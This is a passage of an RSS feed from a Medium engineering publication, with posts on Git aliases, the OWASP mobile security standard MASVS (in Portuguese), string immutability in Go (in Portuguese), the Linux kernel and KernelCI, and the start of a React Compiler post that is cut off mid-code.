href="https://gist.github.com/leocomelli/2545add34e4fec21ec16">here</a>.</p><h3>Aliases: turning long commands into shortcuts</h3><p>These are shortcuts that transform long commands into short, practical ones. They don’t change how Git works, but they reduce typing and make your workflow much smoother.</p><p><strong>Useful examples</strong></p><pre>git config --global alias.st &quot;status -sb&quot;<br>git config --global alias.lg &quot;log - oneline - graph - decorate - all&quot;<br>git config --global alias.up &quot;!git fetch - all &amp;&amp; git rebase origin/main&quot;</pre><p>With that:</p><ul><li><strong>git st</strong> → git status -sb</li><li><strong>git lg </strong>→ a friendly, visual log</li><li><strong>git up</strong> → fetch everything and rebase onto origin/main in a single command</li></ul><p>You can find nice community alias collections <a href="https://gist.github.com/johnpolacek/69604a1f6861129ef088">here</a>. If you use any other handy aliases in your daily workflow, feel free to share them in the comments.</p><h3>Conclusion</h3><p>Knowing how to run <strong>git add</strong>, <strong>git commit,</strong> and <strong>git push</strong> is enough to survive with Git, but not to get the most out of it. With this post, I hope you stop using Git on autopilot and start treating it as what it really is: a powerful tool for communication, traceability, and security for the whole team.</p><p>These concepts and commands, when applied well, are exactly what differentiates someone who knows how to commit from someone who uses Git like a specialist.</p><p>If you want to go even deeper, my suggestions are:</p><ul><li>Read official docs like <a href="https://git-scm.com/">Git SCM</a> and <a href="https://docs.github.com/">GitHub</a> (or similar);</li><li>Observe how large projects (Linux, Kubernetes, etc.) organize their history.</li></ul><h3>References</h3><ul><li><a href="https://noaabarki.medium.com/git-bisect-and-debugging-is-easy-afdccf8ae0e8">Git Bisect — And Debugging Is Easy</a></li><li><a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits">Signing commits</a></li><li><a href="https://git-scm.com/">Git SCM</a></li><li><a href="https://docs.github.com/en">Github Documentation</a></li><li><a href="https://dev.to/render/git-organized-a-better-git-flow-56go">Git Organized: A Better Git Flow</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=03620b92b7c6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/how-to-use-git-like-a-pro-03620b92b7c6">How to use Git like a PRO</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[O Padrão que Todo Desenvolvedor Mobile Precisa Dominar: Entendendo o MASVS]]></title>
            <link>https://medium.com/profusion-engineering/o-padr%C3%A3o-que-todo-desenvolvedor-mobile-precisa-dominar-entendendo-o-masvs-af7c6793bfb5?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/af7c6793bfb5</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[data-security]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Hisrael Braga]]></dc:creator>
            <pubDate>Mon, 01 Dec 2025 15:17:54 GMT</pubDate>
            <atom:updated>2025-12-01T15:17:53.411Z</atom:updated>
            <content:encoded><![CDATA[<p>Uma introdução às melhores práticas de segurança do mercado</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VpRuxcYVUG64L6P4.png" /><figcaption>OWASP MAS Project</figcaption></figure><p><strong>O Caso Whatsapp</strong></p><p>Para entender a gravidade da segurança mobile, nada melhor do que começar com um caso real: a exposição em massa de números de telefone e dados de perfil do WhatsApp. A Universidade de Viena descobriu uma falha simples, mas catastrófica: ao adicionar um número, o WhatsApp informava se ele estava registrado ou não. Se o número existisse, era possível ter acesso à foto, recado e até mesmo à chave Pix, caso estivessem configurados como públicos. O risco estava na consulta não ter um limite.</p><p>Com isso em mente, os pesquisadores fizeram uma coleta de dados em massa utilizando o próprio Whatsapp. A ideia foi simples: mapear todos os números de telefone válidos possíveis e verificar se o número está presente no Whatsapp, se sim, coletar foto, recado e chave pix (se estiver pública). O Whatsapp não impunha um limite a essa consulta, portanto, os pesquisadores conseguiram explorar todos os números de telefone possíveis, sem impedimentos. A Universidade comunicou a falha de segurança à equipe do Whatsapp, que implementou um limite nessa verificação.</p><p><strong>Segurança como Standard</strong></p><p>É para evitar casos como esse , onde até mesmo grandes empresas falham em coisas simples como impor um rate limit nas requisições, que surgiu a necessidade de um padrão de mercado para a segurança em aplicativos móveis.</p><p>Com isso em mente, a pergunta crucial para todo desenvolvedor ou arquiteto é: como eu garanto a segurança do meu aplicativo? Que métodos, mecanismos e padrões devem ser utilizados para avaliar e construir uma defesa robusta?</p><p>O objetivo deste artigo é justamente responder a essas perguntas, apresentando as ferramentas da OWASP (Open Worldwide Application Security Project) e como utilizá-las para elevar a proteção do seu produto.</p><p>Inicialmente, a OWASP criou o MASTG (Mobile Application Security Testing Guide), um guia robusto para testes de segurança. Posteriormente, esse projeto foi expandido para o MAS (Mobile Application Security) Project , que hoje engloba o MASTG e mais dois pilares essenciais: o MASVS (Mobile Application Security Verification Standard) e o MASWE (Mobile Application Security Weakness Enumeration). O objetivo primordial desses frameworks é estabelecer padrões e práticas de mercado para a segurança de aplicativos móveis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U8NxDysPUpW99aRxxpgYqQ.png" /><figcaption>OWASP Mobile Application Security</figcaption></figure><p><strong>MASVS — Áreas de proteção essencial</strong><br>O MASVS estabelece princípios de segurança e privacidade aplicado a 8 áreas:</p><ul><li>MASVS-STORAGE: Foca no armazenamento seguro de dados sensíveis. Exige que tokens, chaves e informações pessoais sejam salvos em um armazenamento seguro da plataforma, como o Security Keychain (iOS) ou equivalentes.</li><li>MASVS-CRYPTO: Garante que a criptografia utilizada para proteger informações sensíveis seja forte e siga as práticas de mercado. Isso significa usar algoritmos robustos e proteger as chaves de forma segura.</li><li>MASVS-AUTH: Lida com os mecanismos seguros de autenticação e autorização usados pelo aplicativo. Requer o uso de protocolos renomados e seguros de autenticação, como OAuth 2.0</li><li>MASVS-NETWORK: Assegura a comunicação de rede segura entre o aplicativo e os endpoints remotos. É essencial usar SSL/TLS e implementar Certificate Pinning para prevenir ataques Man-in-the-Middle (MITM).</li><li>MASVS-PLATFORM: Trata da interação segura do aplicativo com as funções nativas do sistema operacional (SO) e outros aplicativos. Evita o uso indevido de funções nativas que possam vazar dados em WebViews ou Screenshots.</li><li>MASVS-CODE: Foca nas melhores práticas de segurança para processamento de dados. Exige que o aplicativo utilize bibliotecas e versões do SO atualizadas para mitigar vulnerabilidades conhecidas.</li><li>MASVS-RESILIENCE: Define a resiliência contra engenharia reversa e tentativas de adulteração (tampering). Inclui a validação da integridade do dispositivo, verificando a presença de root (Android) ou jailbreak (iOS), que podem comprometer a segurança.</li><li>MASVS-PRIVACY: Garante a proteção dos dados e a privacidade do usuário. O aplicativo deve minimizar o uso e transporte de informações sensíveis, utilizando-as somente quando estritamente necessário.</li></ul><p><strong>MASWE — Lista de fragilidades mais exploradas</strong></p><p>O MASWE, como o nome sugere, é um compilado de fragilidades de segurança em aplicativos móveis, fornecendo uma lista das mais comuns e mais impactantes. É importante para conhecer as fragilidades mais exploradas em ataques à segurança, e ser capaz de proteger o aplicativo contra esses ataques.</p><p><strong>MASTG — O guia extenso de testes</strong></p><p>O MASTG é um manual extenso para testar engenharia reversa e falhas de segurança e privacidade em aplicativos móveis. Ele descreve processos técnicos para testar os tópicos do MASVS e as fragilidades no MASWE.</p><p><strong>Ferramentas Importantes — Frida</strong></p><p>O Frida é um toolkit de instrumentação dinâmica para desenvolvedores e testadores de segurança, ele permite executar scripts em tempo de execução no código do aplicativo.</p><p>O Frida permite burlar mecanismos de anti-root, anti-jailbreak, além de poder interceptar chamadas de função, chamadas de bibliotecas nativas e capturar chaves de criptografia, contornar SSL pinning, e com isso, interceptar diversas informações e explorar vulnerabilidades em API’s, por exemplo.</p><p>Veja a <a href="https://frida.re/">Documentação do Frida</a> para mais informações.</p><p><strong>Conclusão</strong></p><p>Como vimos no ‘Caso WhatsApp’, até falhas simples podem levar a grandes exposições de dados. O MASVS é a sua melhor defesa contra isso. Ele não é apenas um guia de teste, mas um padrão de projeto que define claramente o que precisa ser seguro, desde a forma como você usa a criptografia até a interação com o sistema operacional.</p><p>O grande benefício do MASVS é ter um padrão de mercado para assegurar aplicações. Ter uma forma de avaliar a segurança de um aplicativo em testes de segurança ou proteger aplicativos que lidam com informações sensíveis (dados pessoais, financeiros). A depender do contexto do aplicativo, dos dados que circulam nele, não é necessário aplicar mecanismos avançados de segurança como criptografia, assinatura de requisições e afins. Contudo, para todo aplicativo é necessário um nível mínimo de segurança, para evitar exposição de servidores, ataques DDOS, DOS, MITM, e outros. Por isso alguns mecanismos são essenciais, como armazenamento seguro de dados, autenticação de requisições e proteções na comunicação via rede.</p><p>Se você é um desenvolvedor que trabalha com aplicativos móveis, a teoria deve se transformar em ação imediatamente.</p><p><strong>Próximos passos</strong></p><p>É crucial mapear os requisitos do MASVS no seu projeto. Comece avaliando a criticidade dos dados: as informações transmitidas são sensíveis? O aplicativo deve assegurar a integridade, confidencialidade e privacidade desses dados?</p><ul><li>Decisão de Resiliência: Com base na sensibilidade dos dados, avalie a necessidade de aplicar estratégias de resiliência (MASVS-RESILIENCE). Isso inclui a implementação de mecanismos contra Reverse Engineering, como anti-root, anti-jailbreak, anti-emulador e ofuscação de código.</li></ul><p>A melhor forma de validar a segurança do seu app é tentar quebrá-lo. Uma verificação interessante é realizar um Pentest (teste de penetração) para descobrir vulnerabilidades e testar a eficácia dos seus mecanismos de defesa.</p><ul><li>Poder do Frida: Ferramentas como o Frida são essenciais nesse processo. O Frida permite injetar código e manipular respostas de bibliotecas nativas, burlando mecanismos de segurança e quebrando o funcionamento esperado do aplicativo. Ele testa a verdadeira resiliência do seu código.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af7c6793bfb5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/o-padr%C3%A3o-que-todo-desenvolvedor-mobile-precisa-dominar-entendendo-o-masvs-af7c6793bfb5">O Padrão que Todo Desenvolvedor Mobile Precisa Dominar: Entendendo o MASVS</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Você sabe por que Strings são imutáveis na maioria das linguagens de programação?]]></title>
            <link>https://medium.com/profusion-engineering/voc%C3%AA-sabe-por-que-strings-s%C3%A3o-imut%C3%A1veis-na-maioria-das-linguagens-de-programa%C3%A7%C3%A3o-f1c0336522a3?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/f1c0336522a3</guid>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[unicode]]></category>
            <category><![CDATA[string]]></category>
            <category><![CDATA[string-builder]]></category>
            <category><![CDATA[utf-8]]></category>
            <dc:creator><![CDATA[Lucas Santos]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 12:49:50 GMT</pubDate>
            <atom:updated>2025-11-13T12:49:46.305Z</atom:updated>
            <content:encoded><![CDATA[<p>Você já tentou modificar uma string diretamente? Um dos conceitos mais importantes (e menos óbvios para quem está começando) é que strings são imutáveis: uma vez criada, uma string não pode ser alterada diretamente, ou seja, ao substituir um caractere ou concatenar strings, uma nova string é criada na memória com os valores atualizados, enquanto a original permanece intacta.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3_EPqE3rUcYyONrd" /></figure><h3>O que acontece ao modificar uma string?</h3><p>Quando se realiza uma operação de string na maioria das linguagens (incluindo Go, Python, Java), o runtime aloca um novo bloco de memória e copia os bytes da string original, criando uma nova instância que é então modificada ou ampliada. Por fim, caso a anterior não possua mais referências, ela é liberada da memória.</p><p>Por isso, operações repetidas de concatenação dentro de loops (ex. body += row) podem ser anti-performáticas, pois implicam alocação recorrente e cópias múltiplas.</p><p>Se for realizar muitas operações de modificação em strings (como em um loop que monta textos grandes), a recomendação é usar classes como <strong>StringBuilder</strong> (Java, C#) ou <strong>strings.Builde</strong>r (Go), que são mutáveis e otimizadas para este padrão de uso, diferentemente das strings tradicionais.</p><h3>Qual a razão das strings serem imutáveis?</h3><ol><li><strong>Segurança (especialmente em múltiplas threads):</strong> múltiplas variáveis podem apontar para o mesmo valor em memória. Se strings fossem mutáveis, alterações acidentais poderiam gerar efeitos colaterais incompreensíveis (como alterar todos os nomes de arquivos de uma aplicação involuntariamente).​</li><li><strong>Otimização de memória com string interning:</strong> diferentes referências ao mesmo literal compartilhando o mesmo bloco de memória economizam espaço. Com imutabilidade, é seguro fazer isso.</li><li><strong>Previsibilidade e ausência de efeitos colaterais:</strong> se uma função retorna uma modificação de string, a original segue intacta. Isso torna programas mais fáceis de depurar, testar e manter.​</li><li><strong>Facilita o uso de strings como chaves em estruturas de dados imutáveis: </strong>dicionários, mapas e tabelas hash dependem da imutabilidade dos objetos usados como chave para manterem sua integridade.</li></ol><h3>Como o computador representa strings: bits, charset e encoding</h3><p>Para existir na memória, uma string exige três componentes:</p><ul><li><strong>Tamanho:</strong> A quantidade de caracteres ou unidades lógicas da string.</li><li><strong>Charset (conjunto de caracteres):</strong> mapeia os números para símbolos. ASCII é o mais famoso, Unicode é mais abrangente.</li><li><strong>Encoding:</strong> O algoritmo que converte os símbolos definidos pelo charset em bytes reais. ASCII puro: 1 byte por caractere; Latin-1 cobre idiomas ocidentais; UTF-8 representa qualquer símbolo Unicode (1 a 4 bytes).</li></ul><h4>Unicode e UTF-8</h4><ul><li><strong>Unicode: </strong>Conjunto universal de símbolos.</li><li><strong>UTF-8: </strong>Algoritmo para armazenar Unicode em bytes.</li></ul><p>Não é possível simplesmente trocar um byte por outro esperando uma troca exata de símbolo. A posição visual pode não bater com o início real do símbolo (por exemplo, “á” ocupa duas posições em UTF-8).<br>Caractere <strong>“a”: </strong>1 byte (0x61)<br>Caractere<strong> “á”:</strong> 2 bytes (0xc3 0xa1)</p><h4>Encodings alternativos</h4><p>Além do UTF-8, existem outros encodings conhecidos como:</p><ul><li><strong>Latin-1: </strong>cobre boa parte dos idiomas europeus, cada caractere tem 1 byte.</li><li><strong>UTF-16, UTF-32:</strong> versões mais antigas (ou usadas em sistemas como Windows), onde múltiplos bytes/códigos são comuns.</li><li><strong>CP 860, CP 1252:</strong> encodings clássicos do MS-DOS e Windows (Brasil/Europa).</li></ul><h3>O que são runas?</h3><p>Em termos gerais, uma runa é um ponto de código Unicode, isto é, um “caractere lógico” (letra, símbolo, emoji etc.), independentemente de quantos bytes ele ocupa quando armazenado. A maioria das linguagens modernas consegue iterar uma string “por runas” para garantir que operações ocorram sobre caracteres completos e não bytes isolados. Por exemplo, iterar por runas garante que “ó” seja vista como um elemento só, mesmo ocupando mais de um byte.</p><p><strong>Por que isso importa para a imutabilidade?</strong> Se modificar bytes arbitrários não respeitar as fronteiras de runas/caracteres, você pode criar sequências inválidas, transformar um símbolo em outro ou corromper completamente o texto. A imutabilidade evita que isso aconteça sem intenção clara, pois sempre que uma modificação precisa ser feita, uma nova string é construída com os caracteres desejados.</p><h3>Exemplo (Go): o impacto de modificar bytes diretamente</h3><p>As strings são imutáveis. Contudo, é possível converter uma string para um slice de bytes usando<strong> []byte(s)</strong>. Isso permite analisar e manipular individualmente os bytes que compõem a string.</p><p>Por exemplo, veja a palavra <strong>“Lógica”</strong>, que contém o caractere acentuado <strong>“ó”</strong>. Em UTF-8, esse caractere é representado por dois bytes. Se tentarmos simplesmente substituir o caractere <strong>“ó” </strong>(2 bytes) pelo <strong>“o”</strong> (1 byte), teremos problemas, pois alterar apenas 1 byte quebraria a estrutura UTF-8 da string:</p><pre>package main<br>import &quot;fmt&quot;<br>func main() {<br>  s := &quot;Lógica&quot;<br>  b := []byte(s)<br>  fmt.Printf(&quot;Bytes originais: %v\n&quot;, b)<br>  // Tentando modificar um byte do &#39;ó&#39; por &#39;o&#39; levando em consideração que ó seria o segundo valor da string<br>  b[1] = 0x6F<br>  fmt.Printf(&quot;Bytes modificados: %v\n&quot;, b)<br>  fmt.Printf(&quot;String modificada: %q\n&quot;, string(b))<br>}</pre><p>Ao executar este código no <a href="https://go.dev/play/">Go Playground</a>, a saída será:<br><strong>Bytes originais:</strong> [76 <strong>195 179 </strong>103 105 99 97]<br><strong>Bytes modificados:</strong> [76 <strong>111 179</strong> 103 105 99 97]<br><strong>String modificada:</strong> “Lo\xb3gica”</p><p>Esse experimento mostra na prática que alterar bytes de forma isolada resulta em texto corrompido. Se strings fossem mutáveis (e editadas assim), os dados poderiam perder sua integridade, reforçando o porquê da escolha de imutabilidade para strings em linguagens modernas.</p><h3>Conclusão</h3><p>A imutabilidade das strings não é mero capricho das linguagens: ela preserva segurança, performance, previsibilidade de código e integridade dos dados especialmente ao lidar com Unicode, encodings e uso em múltiplas threads. Quando precisar modificar strings em massa, procure alternativas como buffers, builders ou algoritmos próprios para manipulação de dados.</p><h3>Referências e Recursos Adicionais</h3><ul><li><a href="https://go.dev/blog/strings"><strong>Go Blog: Strings, Bytes, and Runes</strong></a></li><li><a href="https://unicode.org/versions/Unicode17.0.0/"><strong>Unicode Code Points e UTF-8</strong></a></li><li><a href="https://www.unicode.org/faq/utf_bom.html"><strong>Unicode Tutorial</strong></a></li><li><a href="https://pkg.go.dev/unicode/utf8"><strong>Manipulação de strings Unicode em Go (utf8 package)</strong></a></li><li><a href="https://youtu.be/GmjP1omsKKc?si=g6Ip7NNuiytnZfDO"><strong>Você REALMENTE sabe o que é uma STRING?</strong></a></li><li><a href="https://awari.com.br/converter-bytes-para-string-em-python-guia-completo-e-exemplos/"><strong>Converter bytes para string em Python: guia completo e exemplos</strong></a></li><li><a href="https://www.linkedin.com/posts/gunter-mingato-de-oliveira_java-performance-stringbuilder-activity-7391199700919603200-wY5y?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAADVzy7UB4_cjZt-JYteryK4pjPoXuGxMTrw"><strong>Comparativo e benchmark: Java String vs StringBuilder</strong></a></li><li><a href="https://docs.oracle.com/javase/8/docs/api/java/lang/String.html"><strong>String in Java</strong></a></li><li><a href="https://docs.python.org/3/library/stdtypes.html#text-sequence-type-str"><strong>Str in Python</strong></a></li><li><a href="https://www.linkedin.com/pulse/what-reasons-behind-making-strings-immutable-java-omar-ismail/"><strong>What are the reasons behind making strings immutable in Java?</strong></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1c0336522a3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/voc%C3%AA-sabe-por-que-strings-s%C3%A3o-imut%C3%A1veis-na-maioria-das-linguagens-de-programa%C3%A7%C3%A3o-f1c0336522a3">Você sabe por que Strings são imutáveis na maioria das linguagens de programação?</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding the Kernel: From Concept to Automated Testing with KernelCI]]></title>
            <link>https://medium.com/profusion-engineering/understanding-the-kernel-from-concept-to-automated-testing-with-kernelci-667c23950a78?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/667c23950a78</guid>
            <category><![CDATA[continuous-integration]]></category>
            <category><![CDATA[linux-kernel]]></category>
            <category><![CDATA[kernel]]></category>
            <dc:creator><![CDATA[Lucas Santos]]></dc:creator>
            <pubDate>Wed, 05 Nov 2025 13:45:20 GMT</pubDate>
            <atom:updated>2025-11-05T13:53:17.360Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is the Kernel?</h3><p>The <strong>kernel</strong> is the central core of an operating system that manages communication between hardware and software. It is the fundamental foundation that enables any modern operating system to function.</p><p>The kernel acts as a highly efficient intermediary between running applications, such as browsers, text editors, video players, and hardware components, including CPUs, RAM, hard drives, and peripherals. Its primary function is to translate software requests into commands understandable by the hardware, and vice versa. Additionally, it handles the virtual management of essential resources, such as:</p><ul><li><strong>Memory management:</strong> monitoring, allocating, and protecting memory spaces used by applications and the operating system itself.</li><li><strong>Process control:</strong> defining which tasks can use the CPU, when, and for how long, ensuring efficient and secure process operations.</li><li><strong>Device management:</strong> serving as a bridge between software and hardware devices, using drivers to manage printers, network cards, disks, and other peripherals.</li><li><strong>File system management:</strong> organizing and securing data storage and access.</li><li><strong>Security and permissions:</strong> enforcing strict control over sensitive resources, preventing interference or attacks between programs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*RwaFV-VKEL3xVq4X.png" /></figure><h3>Linux Kernel and Architecture</h3><p>Most operating systems use different types of kernels, but Linux stands out as the most widely used kernel in servers and embedded systems, including being the basis for Android.​</p><p>The Linux kernel follows a <strong>monolithic</strong> and highly modular architecture, delivering high performance and easy customization for hardware ranging from supercomputers to embedded devices, routers, smart TVs, and smartphones. All core components, such as memory management, file systems, and device drivers, operate within a single memory space, providing efficient integration with diverse hardware through its dynamic module system.​</p><p>While other architectures exist, such as <strong>microkernel</strong> and <strong>hybrid</strong> designs (used in experimental or niche systems like Mach and Windows NT), the monolithic modular approach of Linux has proven especially advantageous for scalability, stability, and security across a vast array of devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*WydAQLpzQB0ubGG5" /></figure><h3>Operating Modes</h3><p>The kernel and applications interact through two principal modes of operation.</p><h4>Kernel Mode</h4><p>In kernel mode, code executes with full and direct access to hardware and critical system resources. Here, virtually everything is allowed: modifying the memory of any process, accessing devices directly, changing processor configurations, etc.</p><p>Only the operating system’s core executes in this mode. It is the zone of maximum trust.</p><h4>User Mode</h4><p>In user mode, applications execute with limited access. A program running in user mode cannot:</p><ul><li>Access the memory of other processes;</li><li>Interact directly with hardware</li><li>Modify critical system resources</li></ul><p>Suppose an application needs to do something that requires privileged access. In that case, it must make a <strong>system call</strong> to the kernel, which is responsible for authorizing and executing the operation with the necessary privileges.</p><h3>Ensuring Kernel Quality</h3><p>The Linux kernel runs on a huge variety of hardware: from supercomputers and servers to routers, smartphones (Android), smart TVs, and embedded systems. Given these diverse environments, it’s essential to ensure each new release remains compatible and stable.</p><p>This is achieved through <strong>automation and continuous testing</strong> (CI — Continuous Integration). Continuous integration means that every kernel update is automatically built and tested on multiple types of hardware and real scenarios, allowing quick identification of failures and incompatibilities, and making Linux more reliable.</p><p><strong>KernelCI</strong> is the main <strong>open source</strong> initiative for this task. Founded in 2014 and maintained by the Linux Foundation, it ensures kernel quality across thousands of hardware platforms. Any code change on any kernel branch triggers the following automated workflow:</p><ul><li><strong>Build:</strong> The kernel is compiled in many configurations for architectures such as ARM, x86–64, and MIPS. KernelCI’s distributed infrastructure features servers specialized for each hardware family.</li><li><strong>Boot/Test:</strong> After building, the kernel is deployed to real physical devices for boot and diverse testing. Example tests include proper filesystem mounting, essential driver operation, and security checks for regressions.</li><li><strong>Logs and Issues:</strong> KernelCI uses the logspec project (<a href="https://github.com/kernelci/logspec">https://github.com/kernelci/logspec</a>) to automatically analyze logs, detect errors, and generate categorized issues, making it easier to prioritize and track bugs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KS-Ot2YSkPHt-iwY.jpg" /></figure><p>The results are sent to the central KCIDB (KernelCI Database), which aggregates, stores, and runs queries on all CI test results. KCIDB works as the hub that combines data from multiple CI systems and hardware platforms worldwide. It enables KernelCI to monitor kernel health across countless hardware configurations, environments, and partners, keeping everything unified and searchable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*_Z1NGC6HlwZ_W9RWAh4voA.png" /></figure><h3>Visualizing Test Activities</h3><p>In order to visualize test execution and related data, the main interface is the <strong>KernelCI Dashboard</strong>. This web dashboard serves as the central access point for build histories, boot and test results, hardware status, and a summary of detected issues and regressions. It presents everything from ARM hardware boots to detailed filesystem and security tests, enabling fine-grained analysis and a clear understanding of the impact of kernel changes.</p><p>The dashboard backend relies on <strong>Django</strong> and <strong>PostgreSQL</strong>, enabling queries over large, complex test datasets. The frontend is built with <strong>React</strong>, <strong>Typescript</strong>, and <strong>Tailwind CSS</strong>, offering a modern and interactive user experience.</p><p>For those who prefer command-line workflows or need automation, there’s also <strong>kci-dev</strong>, a CLI tool that interacts directly with the KernelCI Dashboard backend to fetch results, analyze trends, and automate aspects of monitoring and troubleshooting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*-Sb7UtywvR_hO84suM36GQ.png" /></figure><h3>You Can Also Contribute</h3><p>Since we’re talking about an <strong>open source</strong> project, you can be a contributor to KernelCI just like <strong>ProFUSION</strong>.</p><p>If you’re a kernel developer, software engineer, or simply passionate about open source, there are many ways to contribute to KernelCI:</p><ul><li><strong>Dashboard Improvements:</strong> New UI/UX, new visualizations, analysis features</li><li><strong>Testing Infrastructure:</strong> New test types, automation, optimizations</li><li>Plus many other contributions</li></ul><h3>Getting Started</h3><p>Interested but not sure where to start? Here are some suggestions to help us with the <strong>KernelCI Dashboard</strong>:</p><ol><li><strong>Explore:</strong> Visit <a href="https://dashboard.kernelci.org/">https://dashboard.kernelci.org/</a> to see the test ecosystem in action.</li><li><strong>Study the Code:</strong> Access <a href="https://github.com/kernelci/dashboard/issues">https://github.com/kernelci/dashboard</a> to learn about the architecture.</li><li><strong>Contribute:</strong> Consider making your first pull request to the project. You can find <strong>good first issues</strong> at <a href="https://github.com/kernelci/dashboard/issues">https://github.com/kernelci/dashboard/issues</a></li></ol><h3>References and Additional Resources</h3><ul><li>Tanenbaum, A. S.; Bos, H. Modern Operating Systems. 4th Edition. Ed. Pearson. 2016</li><li>Bovet, D. P.; Cesati, M. Understanding the Linux Kernel. 3rd Edition. Ed. O’Reilly Media. 2005.</li><li>Silberschatz, A.; Galvin, P. B.; Gagne, G. Fundamentals of Operating Systems. 9th Edition. Ed. LTC. 2018.</li><li>Stallings, W. Operating Systems: Internals and Design Principles. 9th Edition. Ed. Pearson. 2018.</li><li><strong>What is a Kernel — Basic Computing Concepts: </strong><a href="https://www.youtube.com/watch?v=GuBpmasRVus">https://www.youtube.com/watch?v=GuBpmasRVus</a></li><li><strong>KernelCI Documentation:</strong> <a href="https://docs.kernelci.org/">https://docs.kernelci.org/</a></li><li><strong>KernelCI: more than just boot testing: </strong><a href="https://www.collabora.com/about-us/our-work/kernelci-more-than-just-boot-testing.html">https://www.collabora.com/about-us/our-work/kernelci-more-than-just-boot-testing.html</a></li><li><strong>Understanding KernelCI KCIDB: A Guide for Future Contributors: </strong><a href="https://abhishekk.hashnode.dev/understanding-kernelci-kcidb-a-guide-for-future-contributors">https://abhishekk.hashnode.dev/understanding-kernelci-kcidb-a-guide-for-future-contributors</a></li><li><strong>Community Discussions:</strong> KernelCI Discord and mailing list <a href="mailto:kernelci@lists.linux.dev">kernelci@lists.linux.dev</a></li><li><strong>Portuguese Version: </strong><a href="https://medium.com/@devlucassantoss/entendendo-o-kernel-do-conceito-aos-testes-automatizados-com-kernelci-7aa0f005d027">https://medium.com/@devlucassantoss/entendendo-o-kernel-do-conceito-aos-testes-automatizados-com-kernelci-7aa0f005d027</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=667c23950a78" width="1" height="1" alt=""><hr><p><a href="https://medium.com/profusion-engineering/understanding-the-kernel-from-concept-to-automated-testing-with-kernelci-667c23950a78">Understanding the Kernel: From Concept to Automated Testing with KernelCI</a> was originally published in <a href="https://medium.com/profusion-engineering">ProFUSION Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[React Compiler: How it works and how it changes the way we code in React]]></title>
            <link>https://medium.com/profusion-engineering/react-compiler-how-it-works-and-how-it-changes-the-way-we-code-in-react-0190b194e259?source=rss----2a856e817105---4</link>
            <guid isPermaLink="false">https://medium.com/p/0190b194e259</guid>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[developer]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[typescript]]></category>
            <dc:creator><![CDATA[Hisrael Braga]]></dc:creator>
            <pubDate>Thu, 16 Oct 2025 14:57:10 GMT</pubDate>
            <atom:updated>2025-10-16T14:57:05.864Z</atom:updated>
            <content:encoded><![CDATA[<p>A brief introduction to React Compiler v1.0 and its capabilities</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6U_Chl_DxDkoAImnkzXTCA.png" /></figure><p><strong>What is React Compiler?</strong></p><p>React Compiler is a build-time tool that automatically optimizes your React Code, following React Rules and with no need to rewrite any existing code to use it.</p><p>React traditionally relies on re-rendering components whenever state or props change. While powerful, this can cause performance issues with unnecessary re-renders. To solve this, developers use Memoization Hooks, such as useMemo, useCallback, and the wrapper React.memo. These hooks will memorize the component’s state, and when something changes, they will prevent the component from recalculating the render, as its internal state didn’t change. This will improve the application performance.</p><p>The major improvement is that React Compiler will optimize your code during build time, making your application faster and smoother by automatically adding memoization to your components. This implies that the usage of the previously described tools is no longer required.</p><p><strong>How does it work?</strong></p><p>React Compiler analyzes your React Code to create an optimized Javascript Source, to do so, it executes a few steps:</p><ul><li>Create an Abstract Syntax Tree to represent nodes and their respective states and props.</li><li>After that, it analyzes the AST and the data flow to optimize your code, analyzing states, props and functions to be memoized and removing dead code from the source.</li></ul><p>The output is an optimized Javascript Code.</p><p>Unlike runtime memoization hooks, React Compiler runs during build time, injecting memoization logic directly into the compiled output, this makes the application faster, as there is no memoization logic running during the execution. Even though memoization hooks are a powerful optimization tool, it costs performance as it works during application runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NCA-mZTWptyTO2t_JC9YaA.png" /></figure><p><strong>Before vs After</strong></p><p>With those changes, how does it affect the way we write code??</p><pre>// Before<br>const Button = React.memo(({ label, onClick }) =&gt; &lt;button 